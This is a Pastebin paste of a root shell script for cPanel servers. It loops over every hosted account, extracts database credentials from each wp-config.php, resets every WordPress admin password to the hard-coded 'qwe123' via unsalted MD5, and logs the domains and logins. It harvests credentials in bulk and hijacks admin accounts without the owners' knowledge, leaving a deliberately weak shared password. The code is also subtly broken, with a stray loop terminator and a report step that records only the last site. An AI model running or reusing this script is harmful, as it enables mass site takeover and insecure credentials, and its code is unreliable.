Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- echo '..::reset password wp-admin::..'
- ls /var/cpanel/users > /root/paneluser.txt
- IFS=$'\n' read -d '' -r -a lines < /root/paneluser.txt
- paneluser=${lines[@]}
- #ngelist panel cpanel dan masuk ke directory home user
- for i in "${lines[@]}"
- do
- cd /home/$i/
- #mulai cari parameter wp-config masing
- rm -rf /root/db_$i.txt
- find -name 'wp-config.php' > /root/db_$i.txt
- configuser=$(cat /root/db_$i.txt)
- #tentuin database,prefix
- for a in $configuser
- do
- cat $a | grep DB_NAME | cut -d \' -f 4 > /root/db_name_$i.txt
- cat $a | grep DB_PASSWORD | cut -d \' -f 4 > /root/db_pass_$i.txt
- cat $a | grep "\$table_prefix" | cut -d \' -f 2 > /root/db_prefix_$i.txt
- pass=$(cat /root/db_pass_$i.txt)
- sed -i -e 's/_/_users/g' /root/db_prefix_$i.txt
- db=$(cat /root/db_name_$i.txt)
- prefix=$(cat /root/db_prefix_$i.txt)
- #echo 'nama database :'$db
- #echo 'wp-user :'$prefix
- #echo 'password db : '$pass
- #reset password wp-admin
- mysql << EOF
- use $db ;
- UPDATE $prefix SET user_pass = MD5('qwe123') WHERE $prefix.ID = 1;
- EOF
- #mencari nama domain
- cat $a | grep "\$table_prefix" | cut -d \' -f 2 > /root/db_options_$i.txt
- sed -i -e 's/_/_options/g' /root/db_options_$i.txt
- option=$(cat /root/db_options_$i.txt)
- mysql -Ne "select option_value from $option where option_id = 1" $db > /root/domain_$i.txt
- domain=$(cat /root/domain_$i.txt)
- echo 'nama domain :' $domain
- #mencari user wp-admin
- mysql -Ne "select user_login from $prefix where ID = 1" $db > /root/useradmin_$i.txt
- useradmin=$(cat /root/useradmin_$i.txt)
- echo 'user wp-admin : ' $useradmin
- echo 'pass wp-admin : qwe123'
- echo 'selesai'
- rm -rf /root/useradmin_$i.txt
- rm -rf /root/domain_$i.txt
- rm -rf /root/db_options_$i.txt
- rm -rf /root/db_prefix_$i.txt
- rm -rf /root/db_pass_$i.txt
- rm -rf /root/db_name_$i.txt
- rm -rf /root/laporan-reset-wp-admin.txt
- echo '================================================'
- done
- #laporan bisa dilihat di /root/laporan_admin.txt
- echo 'Nama Domain Anda : '$domain ' | username wp-admin : '$useradmin ' |password wp-admin : qwe123 ' >> /root/laporan_admin.txt
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement